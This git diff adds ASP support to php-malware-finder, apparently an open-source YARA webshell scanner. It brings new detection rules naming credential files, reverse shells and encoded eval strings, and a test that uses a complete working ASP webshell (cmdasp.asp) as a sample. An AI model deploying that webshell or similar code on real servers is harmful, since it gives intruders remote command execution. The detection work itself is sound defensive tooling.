diff --git a/php-malware-finder/asp.yara b/php-malware-finder/asp.yara new file mode 100644 index 0000000..26483a1 --- /dev/null +++ b/php-malware-finder/asp.yara @@ -0,0 +1,46 @@ +import "hash" +include "whitelist.yara" +include "common.yara" + +global private rule IsAsp +{ + strings: + $asp = /<%|@{}/ + $cs = /using .{4,25};/ + + condition: + ($asp or $cs) and filesize < 5MB +} + +rule ObfuscatedAsp +{ + strings: + $ = /LANGUAGE\s*=\s*VBScript.Encode/ nocase + $ = /(".{1,5}"&){5,}/ // "e"&"v"&"a"&"l" + $ = /(chr\s*\(\s*\d{1,3}\s*\)[+\)\s]*){5,}/ nocase // chr(114)+chr(101)+chr(113)+chr(117)+chr(101) + $stunnix = /execute\("dIm [a-z]*"\):[a-z]* = unescape/ nocase // http://stunnix.com/ + + condition: + any of them and not IsWhitelisted +} + +rule ObfuscatedEncodingAsp +{ + strings: + $unicode = /\\u[a-f0-9]/ nocase + $html_encode = /&#([0-9]{3}|x[a-f0-9]{2});/ nocase + + condition: + (#unicode >= 10 or #html_encode >= 10) and not IsWhitelisted +} + +rule DangerousAsp +{ + strings: + $ = /createobject\s*\(\s*"(WScript\.Shell|WScript\.Network|Shell\.Application|Scripting\.FileSystemObject|ScriptControl)/ nocase + $ = /eval\s*\({0,1}\s*request/ nocase + + condition: + 2 of them and not IsWhitelisted +} + diff --git a/php-malware-finder/common.yara b/php-malware-finder/common.yara new file mode 100644 index 0000000..38b6726 --- /dev/null +++ b/php-malware-finder/common.yara @@ -0,0 +1,145 @@ +private rule IRC +{ + strings: + $ = "USER" fullword + $ = "PASS" fullword + $ = "PRIVMSG" fullword + $ = "MODE" fullword + $ = "PING" fullword + $ = "PONG" fullword + $ = "JOIN" fullword + $ = "PART" fullword + + condition: + 5 of them +} + +private rule base64 +{ + strings: + $eval = "ZXZhbCg" + $system = "c3lzdGVt" + $preg_replace = "cHJlZ19yZXBsYWNl" + $exec = "ZXhlYyg" + $base64_decode = "YmFzZTY0X2RlY29kZ" + $perl_shebang = "IyEvdXNyL2Jpbi9wZXJsCg" + $cmd_exe = "Y21kLmV4ZQ" + $powershell = "cG93ZXJzaGVsbC5leGU" + + condition: + any of them +} + +private rule hex +{ + strings: + $globals = "\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53" nocase + $eval = "\\x65\\x76\\x61\\x6C\\x28" nocase + $exec = "\\x65\\x78\\x65\\x63" nocase + $system = "\\x73\\x79\\x73\\x74\\x65\\x6d" nocase + $preg_replace = "\\x70\\x72\\x65\\x67\\x5f\\x72\\x65\\x70\\x6c\\x61\\x63\\x65" nocase + $http_user_agent = "\\x48\\124\\x54\\120\\x5f\\125\\x53\\105\\x52\\137\\x41\\107\\x45\\116\\x54" nocase + + condition: + any of them +} + +rule SuspiciousEncoding +{ + condition: + base64 or hex +} + +rule DodgyStrings +{ + strings: + $ = ".bash_history" + $ = /AddType\s+application\/x-httpd-php/ nocase + $ = /php_value\s*auto_prepend_file/ nocase + $ = /SecFilterEngine\s+Off/ nocase // disable modsec + $ = /Add(Handler|Type|OutputFilter)\s+[^\s]+\s+\.htaccess/ nocase + $ = ".mysql_history" + $ = ".ssh/authorized_keys" + $ = "/(.*)/e" // preg_replace code execution + $ = "/../../../" + $ = "/etc/passwd" + $ = "/etc/proftpd.conf" + $ = "/etc/resolv.conf" + $ = "/etc/shadow" + $ = "/etc/syslog.conf" + $ = "/proc/cpuinfo" fullword + $ = "/var/log/lastlog" + $ = "/windows/system32/" + $ = "LOAD DATA LOCAL INFILE" nocase + $ = "WScript.Shell" + $ = "WinExec" + $ = "b374k" fullword nocase + $ = "backdoor" fullword nocase + $ = /(c99|r57|fx29)shell/ + $ = "cmd.exe" fullword nocase + $ = "powershell.exe" fullword nocase + $ = /defac(ed|er|ement|ing)/ fullword nocase + $ = "evilc0ders" fullword nocase + $ = "exploit" fullword nocase + $ = "find . -type f" fullword + $ = "hashcrack" nocase + $ = "id_rsa" fullword + $ = "ipconfig" fullword nocase + $ = "kernel32.dll" fullword nocase + $ = "kingdefacer" nocase + $ = "Wireghoul" nocase fullword + $ = "libpcprofile" // CVE-2010-3856 local root + $ = "locus7s" nocase + $ = "ls -la" fullword + $ = "meterpreter" fullword + $ = "nc -l" fullword + $ = "php://" + $ = "ps -aux" fullword + $ = "rootkit" fullword nocase + $ = "slowloris" fullword nocase + $ = "suhosin.executor.func.blacklist" + $ = "sun-tzu" fullword nocase // Because quotes from the Art of War is mandatory for any cool webshell. + $ = "uname -a" fullword + $ = "warez" fullword nocase + $ = "whoami" fullword + $ = /(reverse|web|cmd)\s*shell/ nocase + $ = /-perm -0[24]000/ // find setuid files + $ = /\/bin\/(ba)?sh/ fullword + $ = /hack(ing|er|ed)/ nocase + $ = /xp_(execresultset|regenumkeys|cmdshell|filelist)/ + + $vbs = /language\s*=\s*vbscript/ nocase + $asp = "scripting.filesystemobject" nocase + + condition: + IRC or 2 of them and not IsWhitelisted +} + +rule Websites +{ + strings: + $ = "1337day.com" nocase + $ = "antichat.ru" nocase + $ = "ccteam.ru" nocase + $ = "crackfor" nocase + $ = "darkc0de" nocase + $ = "egyspider.eu" nocase + $ = "exploit-db.com" nocase + $ = "fopo.com.ar" nocase /* Free Online Php Obfuscator */ + $ = "hashchecker.com" nocase + $ = "hashkiller.com" nocase + $ = "md5crack.com" nocase + $ = "md5decrypter.com" nocase + $ = "milw0rm.com" nocase + $ = "milw00rm.com" nocase + $ = "packetstormsecurity" nocase + $ = "rapid7.com" nocase + $ = "securityfocus" nocase + $ = "shodan.io" nocase + $ = "github.com/b374k/b374k" nocase + $ = "mumaasp.com" nocase + + condition: + any of them and not IsWhitelisted +} + diff --git a/php-malware-finder/docroot-check.sh b/php-malware-finder/docroot-check.sh index 4d280c2..fa67a11 100644 --- a/php-malware-finder/docroot-check.sh +++ b/php-malware-finder/docroot-check.sh @@ -2,7 +2,7 @@ PATH=/usr/bin:/bin:/sbin:/usr/sbin apache_confdir="/etc/apache2/sites-available" -pmf_conf="/etc/phpmalwarefinder/malwares.yara" +pmf_conf="/etc/phpmalwarefinder/php.yara" pmf_cachedir="/tmp" # grab the different document roots to scan each and everyone of them diff --git a/php-malware-finder/generate_whitelist.py b/php-malware-finder/generate_whitelist.py index e54de72..ca9fa2d 100644 --- a/php-malware-finder/generate_whitelist.py +++ b/php-malware-finder/generate_whitelist.py @@ -13,8 +13,13 @@ if len(sys.argv) != 3: print 'Usage: %s name_of_the_rule_and_version folder_to_scan' % sys.argv[0] + sys.exit(1) + +if not os.path.isdir(sys.argv[2]): + print '%s is not a folder !' % sys.argv[2] + sys.exit(1) -rules = yara.compile('./malwares.yara', includes=True, error_on_warning=True) +rules = yara.compile('./php.yara', includes=True, error_on_warning=True) output_list = list() diff --git a/php-malware-finder/malwares.yara b/php-malware-finder/php.yara similarity index 59% rename from php-malware-finder/malwares.yara rename to php-malware-finder/php.yara index f4e2dac..0f46025 100644 --- a/php-malware-finder/malwares.yara +++ b/php-malware-finder/php.yara @@ -1,5 +1,6 @@ import "hash" include "whitelist.yara" +include "common.yara" /* Detect: @@ -32,22 +33,6 @@ global private rule IsPhp $php and filesize < 5MB } -private rule IRC -{ - strings: - $ = "USER" fullword - $ = "PASS" fullword - $ = "PRIVMSG" fullword - $ = "MODE" fullword - $ = "PING" fullword - $ = "PONG" fullword - $ = "JOIN" fullword - $ = "PART" fullword - - condition: - 5 of them -} - private rule CloudFlareBypass { strings: @@ -76,39 +61,6 @@ condition: any of them and not IsWhitelisted } -private rule base64 -{ - strings: - $eval = "ZXZhbCg" - $system = "c3lzdGVt" - $preg_replace = "cHJlZ19yZXBsYWNl" - $exec = "ZXhlYyg" - $base64_decode = "YmFzZTY0X2RlY29kZ" - $perl_shebang = "IyEvdXNyL2Jpbi9wZXJsCg" - condition: - any of them -} - -private rule hex -{ - strings: - $globals = "\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53" nocase - $eval = "\\x65\\x76\\x61\\x6C\\x28" nocase - $exec = "\\x65\\x78\\x65\\x63" nocase - $system = "\\x73\\x79\\x73\\x74\\x65\\x6d" nocase - $preg_replace = "\\x70\\x72\\x65\\x67\\x5f\\x72\\x65\\x70\\x6c\\x61\\x63\\x65" nocase - $http_user_agent = "\\x48\\124\\x54\\120\\x5f\\125\\x53\\105\\x52\\137\\x41\\107\\x45\\116\\x54" nocase - - condition: - any of them -} - -rule SuspiciousEncoding -{ - condition: - base64 or hex -} - rule DodgyPhp { strings: @@ -191,93 +143,3 @@ rule DangerousPhp not $whitelist and (5 of them or #system > 250) and not IsWhitelisted } -rule DodgyStrings -{ - strings: - $ = ".bash_history" - $ = /AddType\s+application\/x-httpd-php/ nocase - $ = /php_value\s*auto_prepend_file/ nocase - $ = /SecFilterEngine\s+Off/ nocase // disable modsec - $ = /Add(Handler|Type|OutputFilter)\s+[^\s]+\s+\.htaccess/ nocase - $ = ".mysql_history" - $ = ".ssh/authorized_keys" - $ = "/(.*)/e" // preg_replace code execution - $ = "/../../../" - $ = "/etc/passwd" - $ = "/etc/proftpd.conf" - $ = "/etc/resolv.conf" - $ = "/etc/shadow" - $ = "/etc/syslog.conf" - $ = "/proc/cpuinfo" fullword - $ = "/var/log/lastlog" - $ = "/windows/system32/" - $ = "LOAD DATA LOCAL INFILE" nocase - $ = "WScript.Shell" - $ = "WinExec" - $ = "b374k" fullword nocase - $ = "backdoor" fullword nocase - $ = /(c99|r57|fx29)shell/ - $ = "cmd.exe" fullword nocase - $ = /defac(ed|er|ement|ing)/ fullword nocase - $ = "evilc0ders" fullword nocase - $ = "exploit" fullword nocase - $ = "find . -type f" fullword - $ = "hashcrack" nocase - $ = "id_rsa" fullword - $ = "ipconfig" fullword nocase - $ = "kernel32.dll" fullword nocase - $ = "kingdefacer" nocase - $ = "Wireghoul" nocase fullword - $ = "libpcprofile" // CVE-2010-3856 local root - $ = "locus7s" nocase - $ = "ls -la" fullword - $ = "meterpreter" fullword - $ = "nc -l" fullword - $ = "php://" - $ = "ps -aux" fullword - $ = "rootkit" fullword nocase - $ = "slowloris" fullword nocase - $ = "suhosin.executor.func.blacklist" - $ = "sun-tzu" fullword nocase // Because quotes from the Art of War is mandatory for any cool webshell. - $ = "uname -a" fullword - $ = "warez" fullword nocase - $ = "whoami" fullword - $ = /(reverse|web)\s*shell/ nocase - $ = /-perm -0[24]000/ // find setuid files - $ = /\/bin\/(ba)?sh/ fullword - $ = /hack(ing|er|ed)/ nocase - $ = /xp_(execresultset|regenumkeys|cmdshell|filelist)/ - - $vbs = /language\s*=\s*vbscript/ nocase - $asp = "scripting.filesystemobject" nocase - - condition: - IRC or 2 of them and not IsWhitelisted -} - -rule Websites -{ - strings: - $ = "1337day.com" nocase - $ = "antichat.ru" nocase - $ = "ccteam.ru" nocase - $ = "crackfor" nocase - $ = "darkc0de" nocase - $ = "egyspider.eu" nocase - $ = "exploit-db.com" nocase - $ = "fopo.com.ar" nocase /* Free Online Php Obfuscator */ - $ = "hashchecker.com" nocase - $ = "hashkiller.com" nocase - $ = "md5crack.com" nocase - $ = "md5decrypter.com" nocase - $ = "milw0rm.com" nocase - $ = "milw00rm.com" nocase - $ = "packetstormsecurity" nocase - $ = "rapid7.com" nocase - $ = "securityfocus" nocase - $ = "shodan.io" nocase - $ = "github.com/b374k/b374k" nocase - - condition: - any of them and not IsWhitelisted -} diff --git a/php-malware-finder/phpmalwarefinder b/php-malware-finder/phpmalwarefinder index 8edb079..3dda46b 100755 --- a/php-malware-finder/phpmalwarefinder +++ b/php-malware-finder/phpmalwarefinder @@ -2,7 +2,7 @@ YARA=$(type -P yara) -CONFIG_PATH='/etc/phpmalwarefinder/malwares.yara' +CONFIG_PATH='/etc/phpmalwarefinder/common.yara' IONICE_BIN=$(type -P ionice) NICE_BIN=$(type -P nice) @@ -18,10 +18,11 @@ fi if [ ! -f "$CONFIG_PATH" ] then - CONFIG_PATH='./malwares.yara' + OLD_PATH=$CONFIG_PATH + CONFIG_PATH='./common.yara' if [ ! -f "$CONFIG_PATH" ] then - echo "Unable to find `malware.yara` in $CONFIG_PATH, and in the current directory." + echo "Unable to find 'common.yara' in $OLD_PATH, and in the current directory." exit 0 fi fi @@ -38,11 +39,43 @@ else fi fi +# Determines the format of the target +# Check only the file extension and it's not even accurate +determine_format() { + # First case: target is a file + if [ -f "$1" ]; then + echo "$1" | sed 's/.*\.//' + # Second case: it is a folder + elif [ -d "$1" ]; then + find "$1" -type f -name '*.*' | sed 's/.*\.//' | uniq -c | sort -nr | head -1 | awk '{print $2}' + fi +} + # before starting yara, check if the file +# TODO (too heavy) one_line_trick() { - find "$@" -type f -iname '*.ph*' -print0 | while IFS= read -r -d '' -r file; do - read -r lines _ chars _ <<< $(wc "$file") + if [ -z "$FORMAT" ]; then + FORMAT=$(determine_format "$1") + fi + + case $FORMAT in + 'asp') + EXT='*.asp* -o -iname *.cs[^s]*' + ;; + 'php') + EXT='*.ph*' + ;; + *) + echo "Couldn't determine the file format, or cannot parse it. Exiting." + exit 1 + ;; + esac + + echo "Target is $FORMAT." + + find "$@" -type f -iname "$EXT" -print0 | while IFS= read -r -d '' -r file; do + read -r lines _ chars _ <<< "$(wc "$file")" if [ "$lines" -le "2" ]; then # humm, 2 lines long file ? @@ -56,17 +89,18 @@ one_line_trick() { show_help() { cat << EOF -Usage ${0##*/} [-cfhw] ... +Usage ${0##*/} [-cfhtvl] ... -c Optional path to a configuration file -f Fast mode -h Show this help message - -t Specify the number of threads to use (8 by default) + -t Specify the number of threads to use (8 by default) -v Verbose mode + -l Set language ('asp', 'php') EOF } OPTIND=1 -while getopts "c:fht:v" opt; do +while getopts "c:fht:vl:" opt; do case "$opt" in h) show_help @@ -84,6 +118,9 @@ while getopts "c:fht:v" opt; do v) OPTS="${OPTS} -s" ;; + l) + FORMAT=${OPTARG} + ;; '?') show_help exit 1 @@ -116,8 +153,12 @@ then exit 1 fi -OPTS="${OPTS} -r ${CONFIG_PATH}" one_line_trick "$@" +# Include correct yara rule +CONFIG_PATH=${CONFIG_PATH%/*}/ +OPTS="${OPTS} -r ${CONFIG_PATH}${FORMAT}.yara" + +# Execute rules ${NICE} ${NICE_OPTS} $YARA $OPTS "$@" diff --git a/php-malware-finder/samples/classic/cmdasp.asp b/php-malware-finder/samples/classic/cmdasp.asp new file mode 100644 index 0000000..31ba9a5 --- /dev/null +++ b/php-malware-finder/samples/classic/cmdasp.asp @@ -0,0 +1,55 @@ +<%@ Language=VBScript %> +<% + ' --------------------o0o-------------------- + ' File: CmdAsp.asp + ' Author: Maceo + ' Release: 2000-12-01 + ' OS: Windows 2000, 4.0 NT + ' ------------------------------------------- + + Dim oScript + Dim oScriptNet + Dim oFileSys, oFile + Dim szCMD, szTempFile + + On Error Resume Next + + ' -- create the COM objects that we will be using -- ' + Set oScript = Server.CreateObject("WSCRIPT.SHELL") + Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") + Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") + + ' -- check for a command that we have posted -- ' + szCMD = Request.Form(".CMD") + If (szCMD <> "") Then + + ' -- Use a poor man's pipe ... a temp file -- ' + szTempFile = "C:\" & oFileSys.GetTempName( ) + Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) + Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) + + End If + +%> + + +
" method="POST"> + + +
+
+<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
+
+<% + If (IsObject(oFile)) Then + ' -- Read the output from our command and remove the temp file -- ' + On Error Resume Next + Response.Write Server.HTMLEncode(oFile.ReadAll) + oFile.Close + Call oFileSys.DeleteFile(szTempFile, True) + End If +%> + + + + diff --git a/php-malware-finder/tests.sh b/php-malware-finder/tests.sh index fe9141a..2dee339 100755 --- a/php-malware-finder/tests.sh +++ b/php-malware-finder/tests.sh @@ -14,6 +14,16 @@ run_test(){ CPT=$((CPT+1)) } +run_test_asp(){ + NB_DETECTED=$(${PMF} -v -l asp "$SAMPLES"/"$1" | grep -c "$2" 2>/dev/null) + + if [[ "$NB_DETECTED" != 1 ]]; then + echo "[-] $2 was not detected in $1, sorry" + exit 1 + fi + CPT=$((CPT+1)) +} + # Real samples run_test cpanel.php '0x294d:$eval: {eval(' run_test freepbx.php 'ObfuscatedPhp' @@ -79,4 +89,7 @@ run_test artificial/bypasses.php 'DodgyPhp' run_test artificial/bypasses.php '0x6d:$execution: call_user_func_array($_POST' run_test artificial/bypasses.php "0x132:\$var_as_func: \$_POST\['funct'\](" +# Asp files +run_test_asp classic/cmdasp.asp 'DodgyStrings' + echo "[+] Congratz, the $CPT tests succeeded!"